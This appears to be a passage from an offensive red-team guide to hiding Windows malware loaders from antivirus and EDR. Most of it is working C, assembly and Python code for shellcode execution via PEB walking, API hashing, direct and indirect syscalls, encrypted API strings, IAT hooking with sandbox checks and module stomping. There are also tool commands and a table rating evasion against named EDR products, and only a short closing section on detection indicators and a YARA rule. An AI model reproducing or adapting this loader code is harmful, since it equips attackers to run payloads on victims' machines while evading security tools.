WORD* ordinals = (WORD*)(base + eat->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)(base + eat->AddressOfFunctions);
for (DWORD i = 0; i < eat->NumberOfNames; i++) {
const char* name = (const char*)(base + names[i]);
if (ror13_hash(name) == hash) {
return (FARPROC)(base + funcs[ordinals[i]]);
}
}
return NULL;
}
// ─── Pre-computed hashes ──────────────────────────────────────
// Generate with: python3 api_hash_generator.py
#define H_VirtualAlloc 0xE553A458
#define H_VirtualProtect 0x7946C61B
#define H_CreateThread 0x00544E304
#define H_WaitForSingleObject 0x601D8708
// ─── Convenience macro ────────────────────────────────────────
#define RESOLVE(mod, hash, type) ((type)peb_get_proc_by_hash(mod, hash))
int main() {
// Get kernel32 base from PEB — NO LoadLibrary call
HMODULE hKernel32 = peb_get_module(L"kernel32.dll");
HMODULE hNtdll = peb_get_module(L"ntdll.dll");
if (!hKernel32) return 1;
// Resolve functions by hash — NO GetProcAddress call
typedef LPVOID (WINAPI *t_VA)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *t_VP)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI *t_CT)(LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD (WINAPI *t_WS)(HANDLE, DWORD);
t_VA pVA = RESOLVE(hKernel32, H_VirtualAlloc, t_VA);
t_VP pVP = RESOLVE(hKernel32, H_VirtualProtect, t_VP);
t_CT pCT = RESOLVE(hKernel32, H_CreateThread, t_CT);
t_WS pWS = RESOLVE(hKernel32, H_WaitForSingleObject, t_WS);
if (!pVA || !pVP || !pCT || !pWS) return 1;
unsigned char shellcode[] = { /* encoded payload */ };
SIZE_T sc_len = sizeof(shellcode);
// Decode shellcode
for (SIZE_T i = 0; i < sc_len; i++) shellcode[i] ^= 0x41;
// Execute — using fully PEB-resolved function pointers
LPVOID mem = pVA(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!mem) return 1;
// Copy shellcode
for (SIZE_T i = 0; i < sc_len; i++) ((BYTE*)mem)[i] = shellcode[i];
DWORD oldProt;
pVP(mem, sc_len, PAGE_EXECUTE_READ, &oldProt);
HANDLE hThread = pCT(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
pWS(hThread, INFINITE);
return 0;
}
6.3 PEB Walker — Assembly (x64 ASM — Minimal)
; peb_walk.asm — Raw x64 assembly PEB walking
; Used in position-independent shellcode (no PE, no IAT)
; Get PEB address
mov rax, gs:[60h] ; RAX = PEB
; PEB → Ldr
mov rax, [rax + 18h] ; RAX = PEB.Ldr (PEB_LDR_DATA*)
; Ldr → InMemoryOrderModuleList (Flink = first entry)
mov rax, [rax + 20h] ; RAX = Ldr.InMemoryOrderModuleList.Flink
; Points to first LDR_DATA_TABLE_ENTRY
; LDR_DATA_TABLE_ENTRY layout (x64):
; 0x00 InLoadOrderLinks (LIST_ENTRY)
; 0x10 InMemoryOrderLinks (LIST_ENTRY)
; 0x20 InInitializationOrderLinks (LIST_ENTRY)
; 0x30 DllBase (PVOID) ← base address of the DLL
; 0x38 EntryPoint
; 0x40 SizeOfImage
; 0x48 FullDllName (UNICODE_STRING)
; 0x58 BaseDllName (UNICODE_STRING) ← use this to match
; Skip first entry (process itself), get second entry (ntdll.dll)
mov rax, [rax] ; Follow Flink → ntdll.dll entry
mov rbx, [rax + 20h] ; RBX = ntdll.dll DllBase
; Move to third entry (kernel32.dll)
mov rax, [rax] ; Follow Flink again → kernel32.dll entry
mov rcx, [rax + 20h] ; RCX = kernel32.dll DllBase
7. Technique 5 — Direct Syscalls (Bypass API Layer Entirely)
What it means: Skip the Windows API layer entirely. Instead of calling NtAllocateVirtualMemory in ntdll.dll (which EDRs hook), call the kernel directly using the syscall instruction with the correct System Service Number (SSN). No IAT entry needed, no EDR userland hook hit.
[ATT&CK] T1106 — Native API | T1027.007 (combined)
7.1 How Syscalls Work
Normal flow (hooked by EDR):
Your code
→ CALL NtAllocateVirtualMemory (ntdll.dll)
→ EDR hook intercepts here → scans arguments
→ original ntdll stub
→ mov eax, SSN; syscall → Kernel
Direct syscall (bypass EDR hook):
Your code
→ [inline assembly]
mov r10, rcx ; preserve arg
mov eax, SSN (0x18) ; NtAllocateVirtualMemory SSN
syscall → Kernel directly!
← EDR hook is completely bypassed
7.2 Direct Syscall — C + MASM (x64)
// direct_syscall.c — Direct syscall implementation
// Uses SysWhispers3 or manual SSN for common NT functions
#include <windows.h>
// ─── SSNs (Windows 10 21H2 / Windows 11 — may vary!) ─────────
// ALWAYS retrieve dynamically in production (see Hell's Gate technique)
#define SSN_NtAllocateVirtualMemory 0x18
#define SSN_NtWriteVirtualMemory 0x3A
#define SSN_NtProtectVirtualMemory 0x50
#define SSN_NtCreateThreadEx 0xC2
// ─── Syscall stub (x64 MASM format) ──────────────────────────
// Normally put in .asm file and link separately
// Here shown as inline concept
/*
syscall_stub PROC
mov r10, rcx ; Microsoft x64 calling convention
mov eax, [SSN] ; System service number
syscall
ret
syscall_stub ENDP
*/
// In practice, use SysWhispers3 which generates these stubs:
// NtAllocateVirtualMemory() → syscall with SSN 0x18
// ─── Prototype from SysWhispers3 generated header ────────────
typedef NTSTATUS (NTAPI *t_NtAllocateVirtualMemory)(
HANDLE ProcessHandle, PVOID* BaseAddress,
ULONG_PTR ZeroBits, PSIZE_T RegionSize,
ULONG AllocationType, ULONG Protect);
// ─── Hell's Gate — Dynamically retrieve SSN ──────────────────
// Instead of hardcoding SSN, read from ntdll.dll stub bytes
WORD get_ssn_from_ntdll(const char* func_name) {
HMODULE hNtdll = LoadLibraryA("ntdll.dll"); // Use PEB walk in real code
BYTE* func = (BYTE*)GetProcAddress(hNtdll, func_name);
if (!func) return 0xFFFF;
// Check if ntdll stub is hooked (EDR patches first bytes):
// Clean ntdll stub looks like:
// 4C 8B D1 mov r10, rcx
// B8 xx 00 00 00 mov eax, SSN ← SSN is at func+4
if (func[0] == 0x4C && func[1] == 0x8B && func[2] == 0xD1 &&
func[3] == 0xB8) {
// Unhooked — read SSN directly
return *(WORD*)(func + 4);
} else {
// Hooked (EDR patched first bytes) — try Halos Gate:
// Scan nearby stubs ±1 to find unhooked neighbor
// Neighbor SSN = target SSN ± offset
for (int i = 1; i < 32; i++) {
// Check stub at func + (i * avg_stub_size)
BYTE* neighbor_down = func - (i * 32);
BYTE* neighbor_up = func + (i * 32);
if (neighbor_down[0] == 0x4C && neighbor_down[3] == 0xB8) {
return *(WORD*)(neighbor_down + 4) + (WORD)i;
}
if (neighbor_up[0] == 0x4C && neighbor_up[3] == 0xB8) {
return *(WORD*)(neighbor_up + 4) - (WORD)i;
}
}
}
return 0xFFFF; // Failed to extract
}
int main() {
WORD ssn = get_ssn_from_ntdll("NtAllocateVirtualMemory");
if (ssn == 0xFFFF) {
// SSN extraction failed
return 1;
}
// Use SysWhispers3 generated code to call via direct syscall
// SysWhispers3 output is linked here
return 0;
}
7.3 SysWhispers3 — Automated Syscall Generation
# [TOOL] SysWhispers3 — generate direct syscall stubs automatically
# GitHub: https://github.com/klezVirus/SysWhispers3
# Install
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip install -r requirements.txt
# Generate stubs for specific functions
python3 syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
--out-file syscalls \
--arch x64 \
--compiler MSVC \
--recovery HalosGate # HalosGate = handle hooked ntdll stubs
# Output files:
# syscalls.h → function prototypes + SSN macros
# syscalls.c → implementation
# syscalls.asm → assembly stubs (MASM)
# In your loader:
# #include "syscalls.h"
# NtAllocateVirtualMemory(NtCurrentProcess(), &mem, 0, &size,
# MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
# Alternative tools:
# FreshyCalls → https://github.com/crummie5/FreshyCalls
# RecycledGate → https://github.com/thefLink/RecycledGate
7.4 OPSEC Notes
[DETECT] Direct syscall detection:
- EDR (CrowdStrike, SentinelOne) monitors: who is executing syscall instruction?
- If syscall ret address points to YOUR binary (not ntdll) → flagged as direct syscall
- Call stack inspection: ntdll must appear in call chain for clean stack
[EVASION] Direct syscall weakness:
❌ Return address after syscall points into your loader
❌ Thread call stack is "dirty" (no ntdll in chain)
❌ CS/S1 now specifically detects this pattern
→ Solution: Use INDIRECT syscalls (Technique 6) for cleaner stack
8. Technique 6 — Indirect Syscalls (Cleaner Call Stack)
What it means: Direct syscalls leave a dirty call stack (your code is the caller, not ntdll). Modern EDRs inspect call stacks. Indirect syscalls fix this: instead of executing syscall from your code, jump to the syscall; ret instruction that already exists inside ntdll's own stub, past the EDR's hook. The kernel sees the call coming from ntdll's memory — clean stack.
8.1 Direct vs Indirect Syscall Comparison
Direct syscall call stack (flagged):
└─ your_loader.exe → CALL NtAllocateVirtualMemory
└─ [your inline syscall stub]
└─ syscall instruction (in YOUR code)
← return goes back to YOUR binary
EDR call stack: [your_loader.exe] ← SUSPICIOUS
Indirect syscall call stack (clean):
└─ your_loader.exe → JMP to ntdll!NtAllocateVirtualMemory+0x12
└─ [syscall; ret] (inside ntdll memory, past EDR hook)
EDR call stack: [ntdll.dll] ← LOOKS LEGITIMATE
8.2 Indirect Syscall Implementation
// indirect_syscall.c — Jump to ntdll's own syscall;ret gadget
#include <windows.h>
// ─── Find the syscall;ret gadget inside ntdll's stub ─────────
PVOID find_syscall_gadget(const char* func_name) {
HMODULE hNtdll = LoadLibraryA("ntdll.dll"); // PEB walk in real code
BYTE* func = (BYTE*)GetProcAddress(hNtdll, func_name);
if (!func) return NULL;
// Scan forward for 0F 05 (syscall) followed by C3 (ret)
for (int i = 0; i < 64; i++) {
if (func[i] == 0x0F && func[i+1] == 0x05 && func[i+2] == 0xC3) {
return (PVOID)(func + i); // Points to: syscall; ret
}
}
return NULL;
}
// ─── Indirect syscall stub (x64 Assembly) ────────────────────
// Store the SSN and gadget address globally
WORD g_ssn_NtAllocVm = 0;
PVOID g_gadget_NtAllocVm = NULL;
// The stub: set SSN in EAX, then JMP to ntdll's syscall;ret
// (Equivalent Assembly):
// indirect_NtAllocVm:
// mov r10, rcx
// mov eax, [g_ssn_NtAllocVm]
// jmp [g_gadget_NtAllocVm] ; jump INTO ntdll at syscall;ret
// With SysWhispers3 --recovery IndirectSyscall, this is auto-generated
// ─── Setup ───────────────────────────────────────────────────
void setup_indirect_syscalls(void) {
// Get SSN via Hell's Gate / Halos Gate
g_ssn_NtAllocVm = get_ssn_from_ntdll("NtAllocateVirtualMemory");
g_gadget_NtAllocVm = find_syscall_gadget("NtAllocateVirtualMemory");
}
# [TOOL] Generate indirect syscall stubs with SysWhispers3
python3 syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
--out-file syscalls \
--arch x64 \
--recovery IndirectSyscall # ← Key option for indirect
# Alternative: Tartarus Gate (handles encrypted / obfuscated ntdll)
# https://github.com/trickster0/TartarusGate
# Handles case where ntdll is encrypted by EDR or manually mapped
# NullGate — indirect syscalls + junk write sequencing
# https://github.com/d35ha/CallObfuscator
9. Technique 7 — Encrypted / Obfuscated API Name Strings
What it means: Even with dynamic resolution, the cleartext string "VirtualAlloc" or "CreateThread" sitting in your binary's .data section is a detection vector. String scanners, FLOSS (FireEye String Extractor), and strings.exe all find these. Encrypting or obfuscating the API name strings removes this artifact.
9.1 XOR-Encrypted API Names — C
// encrypted_strings.c — Encrypt API name strings at compile time
// Decrypt only at runtime when needed
#include <windows.h>
#include <string.h>
// ─── Compile-time XOR encryption macro ───────────────────────
// Usage: ENCRYPT_STR("VirtualAlloc", 0x41) → encrypted byte array at compile time
// C doesn't support constexpr like C++, so we use Python to pre-encrypt
// Pre-encrypted strings (generated by Python below):
// "VirtualAlloc" XOR 0x41 = the bytes below
unsigned char enc_VirtualAlloc[] = { 0x17, 0x28, 0x33, 0x3c, 0x25, 0x20, 0x2d,
0x0d, 0x2d, 0x2d, 0x3a, 0x21, 0x00 };
unsigned char enc_CreateThread[] = { 0x02, 0x33, 0x20, 0x20, 0x3c, 0x20, 0x17,
0x28, 0x33, 0x20, 0x20, 0x25, 0x00 };
unsigned char enc_VirtualProtect[] = { 0x17, 0x28, 0x33, 0x3c, 0x25, 0x20, 0x2d,
0x11, 0x33, 0x3a, 0x3c, 0x20, 0x21, 0x3c, 0x00 };
#define XOR_KEY 0x41
// ─── Decrypt string at runtime (never stored as plaintext) ────
char* decrypt_string(const unsigned char* encrypted, size_t len, char* out_buf) {
for (size_t i = 0; i < len; i++) {
out_buf[i] = (char)(encrypted[i] ^ XOR_KEY);
}
return out_buf;
}
// ─── Full loader with encrypted strings ───────────────────────
int main() {
HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
char buf[64] = {0};
// Decrypt API names only when needed, then immediately use and wipe
decrypt_string(enc_VirtualAlloc, sizeof(enc_VirtualAlloc), buf);
FARPROC pVirtualAlloc = GetProcAddress(hKernel32, buf);
SecureZeroMemory(buf, sizeof(buf)); // Wipe decrypted name from memory
decrypt_string(enc_CreateThread, sizeof(enc_CreateThread), buf);
FARPROC pCreateThread = GetProcAddress(hKernel32, buf);
SecureZeroMemory(buf, sizeof(buf));
// ... use resolved pointers ...
return 0;
}
9.2 API Name Encryptor (Python — Pre-Processing Tool)
#!/usr/bin/env python3
# encrypt_api_names.py — Pre-encrypt API name strings for embedding in C loader
def encrypt_string(s: str, key: int = 0x41) -> tuple:
"""XOR encrypt string and return encrypted bytes + C array."""
encoded = bytes([ord(c) ^ key for c in s]) + bytes([0]) # null terminate
c_array = ', '.join(f'0x{b:02x}' for b in encoded)
return encoded, c_array
# API names to encrypt
APIS_TO_ENCRYPT = [
"VirtualAlloc",
"VirtualProtect",
"VirtualFree",
"CreateThread",
"WaitForSingleObject",
"OpenProcess",
"WriteProcessMemory",
"ReadProcessMemory",
"CreateRemoteThread",
"VirtualAllocEx",
"LoadLibraryA",
"GetProcAddress", # Even hide this one
]
XOR_KEY = 0x41 # Change per engagement
print(f"// ─── XOR-Encrypted API Name Strings (key=0x{XOR_KEY:02x}) ───")
print(f"#define APINAME_XOR_KEY 0x{XOR_KEY:02x}\n")
for api in APIS_TO_ENCRYPT:
encoded, c_arr = encrypt_string(api, XOR_KEY)
var_name = f"enc_{api}"
print(f"// \"{api}\"")
print(f"unsigned char {var_name}[] = {{ {c_arr} }};")
print(f"size_t {var_name}_len = {len(encoded)};")
print()
print("// Decrypt function:")
print("""void decrypt_str(const unsigned char* enc, size_t len, char* out) {
for (size_t i = 0; i < len; i++) out[i] = enc[i] ^ APINAME_XOR_KEY;
}""")
9.3 Stack String Construction — Compiler-Level Evasion
// stack_strings.c — Build API name strings on the stack at runtime
// Strings never appear as static data in the binary
// Instead of:
// GetProcAddress(h, "VirtualAlloc"); ← string in .data section
// Use stack construction:
void resolve_virtualalloc(HMODULE hKernel32) {
char name[16] = {0}; // Built character by character
name[0] = 'V';
name[1] = 'i';
name[2] = 'r';
name[3] = 't';
name[4] = 'u';
name[5] = 'a';
name[6] = 'l';
name[7] = 'A';
name[8] = 'l';
name[9] = 'l';
name[10] = 'o';
name[11] = 'c';
// "VirtualAlloc" never appears as a static string
return GetProcAddress(hKernel32, name);
}
// Or split and concatenate:
void resolve_createthread(HMODULE hKernel32) {
char part1[] = {'C','r','e','a','t','e',0};
char part2[] = {'T','h','r','e','a','d',0};
char full[32];
lstrcpyA(full, part1);
lstrcatA(full, part2);
// full = "CreateThread" — never appeared in source as a literal
return GetProcAddress(hKernel32, full);
}
10. Technique 8 — IAT Hooking for Evasion (Offensive Use)
What it means: A normally defensive technique used offensively. Instead of the standard IAT showing benign API addresses, patch the IAT entries of your loader (or a victim process) to redirect calls through your own code. You can use this to: wrap API calls with sandbox-evasion checks, hide telemetry, or route calls through PIC stubs that clean up the call stack.
[ATT&CK] T1055.012 — Process Injection: Process Hollowing / IAT modification
10.1 IAT Hook — Self-Modifying Loader
// iat_hook_self.c — Hook your OWN process IAT to route API calls through wrappers
// Purpose: Add pre/post-call logic without changing call sites
#include <windows.h>
#include <imagehlp.h>
#pragma comment(lib, "imagehlp.lib")
// ─── The real function address (saved before hook) ────────────
static FARPROC g_real_MessageBoxA = NULL;
// ─── Our hook function — intercepts MessageBoxA calls ─────────
int WINAPI hooked_MessageBoxA(HWND hWnd, LPCSTR lpText,
LPCSTR lpCaption, UINT uType) {
// Pre-call logic:
// - Check if in sandbox (return fake value if so)
// - Log the call
// - Modify arguments
// For evasion: check sandbox indicators before executing
if (GetTickCount() < 2000) {
// Likely sandbox — return fake success without calling real API
return IDOK;
}
// Call original function (real MessageBoxA)
typedef int (WINAPI *t_MessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
return ((t_MessageBoxA)g_real_MessageBoxA)(hWnd, lpText, lpCaption, uType);
}
// ─── IAT Hook Installation ────────────────────────────────────
BOOL hook_iat(HMODULE hModule, const char* dll_name,
const char* func_name, FARPROC hook_func, FARPROC* orig_func) {
BYTE* base = (BYTE*)hModule;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
IMAGE_IMPORT_DESCRIPTOR* imp =
(IMAGE_IMPORT_DESCRIPTOR*)(base +
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
// Walk import descriptors to find target DLL
while (imp->Name) {
const char* dll = (const char*)(base + imp->Name);
if (_stricmp(dll, dll_name) == 0) {
// Walk the IAT (FirstThunk) and INT (OriginalFirstThunk)
IMAGE_THUNK_DATA* int_thunk =
(IMAGE_THUNK_DATA*)(base + imp->OriginalFirstThunk);
IMAGE_THUNK_DATA* iat_thunk =
(IMAGE_THUNK_DATA*)(base + imp->FirstThunk);
while (int_thunk->u1.AddressOfData) {
if (!(int_thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)) {
IMAGE_IMPORT_BY_NAME* ibn =
(IMAGE_IMPORT_BY_NAME*)(base + int_thunk->u1.AddressOfData);
if (_stricmp((char*)ibn->Name, func_name) == 0) {
// Found the target function
*orig_func = (FARPROC)iat_thunk->u1.Function;
// Patch the IAT entry
DWORD oldProtect;
VirtualProtect(&iat_thunk->u1.Function, sizeof(FARPROC),
PAGE_READWRITE, &oldProtect);
iat_thunk->u1.Function = (ULONG_PTR)hook_func;
VirtualProtect(&iat_thunk->u1.Function, sizeof(FARPROC),
oldProtect, &oldProtect);
return TRUE;
}
}
int_thunk++;
iat_thunk++;
}
}
imp++;
}
return FALSE;
}
int main() {
HMODULE hSelf = GetModuleHandleA(NULL);
// Hook MessageBoxA in our own process IAT
hook_iat(hSelf, "user32.dll", "MessageBoxA",
(FARPROC)hooked_MessageBoxA, &g_real_MessageBoxA);
// Now all calls to MessageBoxA in our loader go through our hook
MessageBoxA(NULL, "Test", "Test", MB_OK);
return 0;
}
11. Technique 9 — Module Stomping / Overloading
What it means: Load a legitimate, signed DLL (e.g., version.dll, dxgi.dll) into memory, then overwrite its .text section in memory with your shellcode. The IAT shows the legitimate DLL — but the DLL's memory now contains your shellcode. Shellcode executes from what appears to be a trusted, signed module's memory.
[ATT&CK] T1055 — Process Injection | Related to: DLL hollowing
11.1 Module Stomping Concept
Normal:
[notepad.exe memory]
├─ .text (notepad code)
├─ kernel32.dll (legitimate)
└─ version.dll (legitimate, your shellcode target)
After Module Stomping:
[notepad.exe memory]
├─ .text (notepad code)
├─ kernel32.dll (legitimate)
└─ version.dll ← .text section OVERWRITTEN with shellcode
EDR memory scan: "shellcode running from version.dll" → less suspicious
IAT scan: "imports version.dll" → looks legitimate
11.2 Module Stomping — C Implementation
// module_stomping.c — Overwrite legitimate DLL .text section with shellcode
// Shellcode appears to run from trusted module memory
#include <windows.h>
#include <stdio.h>
// ─── Find .text section of a loaded module ────────────────────
LPVOID find_text_section(HMODULE hModule, SIZE_T* section_size) {
BYTE* base = (BYTE*)hModule;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
IMAGE_SECTION_HEADER* sections =
(IMAGE_SECTION_HEADER*)((BYTE*)&nt->OptionalHeader +
nt->FileHeader.SizeOfOptionalHeader);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sections[i].Name, ".text", 5) == 0) {
if (section_size)
*section_size = sections[i].Misc.VirtualSize;
return (LPVOID)(base + sections[i].VirtualAddress);
}
}
return NULL;
}
// ─── Module stomping — write shellcode into legitimate DLL ────
BOOL module_stomp(const char* target_dll, unsigned char* shellcode, SIZE_T sc_len) {
// Load the target DLL (will appear in module list as legitimate)
HMODULE hTarget = LoadLibraryA(target_dll);
if (!hTarget) {
printf("[-] Failed to load %s: %lu\n", target_dll, GetLastError());
return FALSE;
}
printf("[+] Loaded %s at 0x%p\n", target_dll, (void*)hTarget);
SIZE_T text_size = 0;
LPVOID text_addr = find_text_section(hTarget, &text_size);
if (!text_addr) {
printf("[-] .text section not found\n");
return FALSE;
}
printf("[+] .text section at 0x%p (size: %zu bytes)\n", text_addr, text_size);
if (sc_len > text_size) {
printf("[-] Shellcode (%zu bytes) exceeds .text section (%zu bytes)\n",
sc_len, text_size);
return FALSE;
}
// Change .text section to writable
DWORD oldProtect;
if (!VirtualProtect(text_addr, sc_len, PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("[-] VirtualProtect failed: %lu\n", GetLastError());
return FALSE;
}
// Overwrite .text section with shellcode
memcpy(text_addr, shellcode, sc_len);
// Restore memory protection
DWORD dummy;
VirtualProtect(text_addr, sc_len, oldProtect, &dummy);
printf("[+] Shellcode written to %s .text section\n", target_dll);
// Execute shellcode from the DLL's .text section
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)text_addr,
NULL, 0, NULL);
if (!hThread) {
printf("[-] CreateThread failed: %lu\n", GetLastError());
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
int main() {
// Target: a DLL that's commonly loaded and trusted
// Good candidates: version.dll, dxgi.dll, winmm.dll, msvcp_win.dll
const char* target = "version.dll";
// Your encoded/encrypted shellcode
unsigned char shellcode[] = {
/* Decoded shellcode bytes here */
0x90, 0x90, 0x90 // NOP sled placeholder
};
return module_stomp(target, shellcode, sizeof(shellcode)) ? 0 : 1;
}
12. Tools Reference
12.1 SysWhispers3 — Direct / Indirect Syscall Generator
# [TOOL] SysWhispers3 — most complete syscall evasion tool
# GitHub: https://github.com/klezVirus/SysWhispers3
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3 && pip install -r requirements.txt
# Full usage — generate for your engagement
python3 syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,\
NtProtectVirtualMemory,NtCreateThreadEx,NtOpenProcess,\
NtQueueApcThread,NtResumeThread \
--out-file sw3_syscalls \
--arch x64 \
--compiler MSVC \
--recovery HalosGate # HalosGate | Tartarus | EkkoSleep
# Recovery options:
# HalosGate — handle hooked stubs by finding neighbors
# IndirectSyscall — use ntdll syscall;ret gadget for cleaner stack
# Output: sw3_syscalls.h, sw3_syscalls.c, sw3_syscalls.asm
12.2 PEStudio — Static IAT Analysis (Blue Team / Verify Evasion)
# [TOOL] PEStudio — free PE static analyzer
# Download: https://www.winitor.com/download
# What PEStudio shows you:
# - All IAT imports + suspicion score per import
# - Strings (finds cleartext API names even outside IAT)
# - Entropy (detects encrypted sections)
# - YARA scan results
# - Certificate info
# Testing your loader's IAT camouflage:
# 1. Open loader.exe in PEStudio
# 2. Click "imports" → check for red/orange flagged entries
# 3. Click "strings" → look for cleartext API names
# 4. Click "indicators" → check overall suspicion score
# Goal: ALL imports green, NO API names in strings section
12.3 ThreatCheck — Find Exact Trigger Bytes
# [TOOL] ThreatCheck — binary bisection to find AV signature trigger
# GitHub: https://github.com/rasta-mouse/ThreatCheck
# Tells you EXACTLY which bytes / imports trigger Defender
# Usage:
ThreatCheck.exe -f loader.exe -e Defender
# Output:
# [*] Target file size: 14336 bytes
# [*] Analyzing...
# [+] Target bytes: 0x00002E00 - 0x00002FFF (512 bytes)
# [+] Saved to: C:\Users\...\AppData\Local\Temp\tmp1234.bin
# → Open the highlighted bytes in HxD → find triggering pattern
12.4 FreshyCalls — Dynamic SSN via EAT Sort
# [TOOL] FreshyCalls — alternative SSN retrieval without ntdll parsing
# GitHub: https://github.com/crummie5/FreshyCalls
# Technique: sort all ntdll exports by address → ordinal = SSN
# Key insight:
# ntdll Nt* functions are allocated in order of their SSN
# Sort by memory address → get SSN without reading stub bytes
# Avoids detection of "reading ntdll stub bytes" heuristic
git clone https://github.com/crummie5/FreshyCalls
# Integrate FreshyCalls.h into your loader project
# All Nt* function SSNs resolved automatically
12.5 FLOSS — Advanced String Extraction
# [TOOL] FLOSS (FLARE Obfuscated String Solver)
# GitHub: https://github.com/mandiant/flare-floss
# Extracts: static strings, stack strings, decoded strings
# USE THIS TO TEST YOUR OWN LOADER BEFORE DEPLOYMENT
pip install flare-floss
# Extract all strings (including stack-constructed ones)
floss loader.exe
# Check if your XOR-encrypted API names are being decoded and
# exposed in emulation. If they appear → improve your encryption
# or use API hashing instead
# Output categories:
# FLOSS STATIC STRINGS — literal strings in binary
# FLOSS STACK STRINGS — strings built on stack at runtime
# FLOSS DECODED STRINGS — strings decoded by algorithms (XOR, etc.)
12.6 x64dbg + ScyllaHide — Runtime IAT Analysis
# [TOOL] x64dbg — dynamic IAT analysis during runtime
# x64dbg: https://x64dbg.com/
# ScyllaHide plugin: anti-anti-debug for accurate analysis
# Runtime IAT inspection workflow:
# 1. Load loader.exe in x64dbg
# 2. Break on entry point
# 3. View → Memory Map → find .idata section
# 4. Right-click → Follow in Dump
# 5. Observe: at startup, IAT entries = unresolved
# after ntdll LDR runs = resolved addresses
# 6. Set hardware BP on IAT entry write → catch dynamic resolution
# To dump resolved IAT from running process:
# Use Scylla plugin: Scylla → IAT Autosearch → Get Imports → Dump
13. Detection & Defense
13.1 What Defenders Look For
Static analysis triggers:
[DETECT] High-confidence static indicators:
- ImportTable: VirtualAlloc + CreateThread (classic injection combo)
- ImportTable: OpenProcess + WriteProcessMemory + CreateRemoteThread
- Very few imports (< 3) → dynamic resolution likely
- LoadLibraryA + GetProcAddress ONLY (dynamic resolution indicator)
- High-entropy PE section (encrypted payload inside)
- No imports at all → shellcode / packed binary
- API names in .data / .rdata strings section
[DETECT] Medium-confidence static indicators:
- Large import count vs small code section
- Import DLLs not matching declared functionality
- Missing expected imports for stated purpose
- Import hash table-shaped data in .data section
- Suspicious section names (.adata, .sdata, etc.)
Behavioral / EDR triggers:
[DETECT] Runtime / behavioral indicators:
- VirtualAlloc(RWX) → immediate red flag
- VirtualAlloc(RW) → VirtualProtect(RX) → CreateThread → classic pattern
- GetProcAddress called with unknown/encrypted arg
- PEB traversal code pattern (gs:[60h] access + module walk)
- syscall executed from non-ntdll memory (direct syscall)
- Dirty call stack: syscall ret addr points to non-DLL memory
- Module load not in IAT (LoadLibrary at runtime for kernel32)
- ETW: NtAllocateVirtualMemory called from unexpected context
[DETECT] Memory scanning triggers:
- RWX memory region (executable heap allocation)
- Shellcode bytes in memory (post-decryption)
- Known API hash table patterns in memory
- Code execution from memory outside PE image
13.2 Detection Tools (Blue Team / DFIR)
# [TOOL] PEStudio — static PE analysis
# [TOOL] FLOSS — advanced string extraction
# [TOOL] ThreatCheck — find trigger bytes
# [TOOL] DIE (Detect It Easy) — packer/compiler detection
# [TOOL] PE-bear — PE header analysis
# [TOOL] Capa — FLARE capability identification
# [TOOL] yarGen — generate YARA rules from malware
# Capa — identify capabilities from binary
capa loader.exe
# Output shows: "dynamic API resolution", "resolve function by hash", etc.
# YARA rule for API hashing pattern:
rule IAT_Evasion_APIHashing {
meta:
description = "Detects API hashing / dynamic resolution pattern"
strings:
$peb_walk_x64 = { 65 48 8B 04 25 60 00 00 00 } // mov rax, gs:[60h]
$peb_walk_x86 = { 64 A1 30 00 00 00 } // mov eax, fs:[30h]
$get_proc = "GetProcAddress"
$load_lib = "LoadLibraryA"
$va_hash_ror13_1 = { B8 04 00 00 00 C1 C8 0D } // ROR13 pattern
condition:
uint16(0) == 0x5A4D and
(($peb_walk_x64 or $peb_walk_x86) or
($get_proc and $load_lib and not any of ($va_hash_ror13_1)))
}
13.3 Evasion Effectiveness Against Common Detectors
| Technique | Static AV | Defender | CrowdStrike | SentinelOne | ML Models |
|---|---|---|---|---|---|
| Fake imports only | Medium | Low | Low | Low | Medium |
| Dynamic resolution (GetProcAddress) | Medium | Medium | Low-Med | Low | Medium |
| API Hashing | High | High | Medium | Medium | High |
| PEB Walking | High | High | Medium | Low-Med | High |
| Direct Syscalls | Very High | High | Medium | Low | Very High |
| Indirect Syscalls | Very High | High | High | Medium | Very High |
| Module Stomping | Very High | High | High | High | High |
| Layered (all combined) | Very High | Very High | High | High | Very High |
14. Comparison Matrix
| Technique | IAT Footprint | String Artifacts | EDR Hook Bypass | Call Stack | Complexity | Detection Risk |
|---|---|---|---|---|---|---|
| Static Import | Full | Full | No | Clean | Trivial | Very High |
| Fake Benign Imports | Diluted | Full | No | Clean | Low | High → Medium |
| LoadLibrary + GetProcAddress | Minimal | Partial (strings) | No | Clean | Low | Medium |
| API Hashing | None | None | No (hooks on GetProcAddress) | Clean | Medium | Low-Medium |
| PEB Walking | None | None | Yes (no GetProcAddress) | Clean | High | Low |
| Direct Syscalls | None | None | Yes (kernel direct) | Dirty ← flagged | High | Low-Medium |
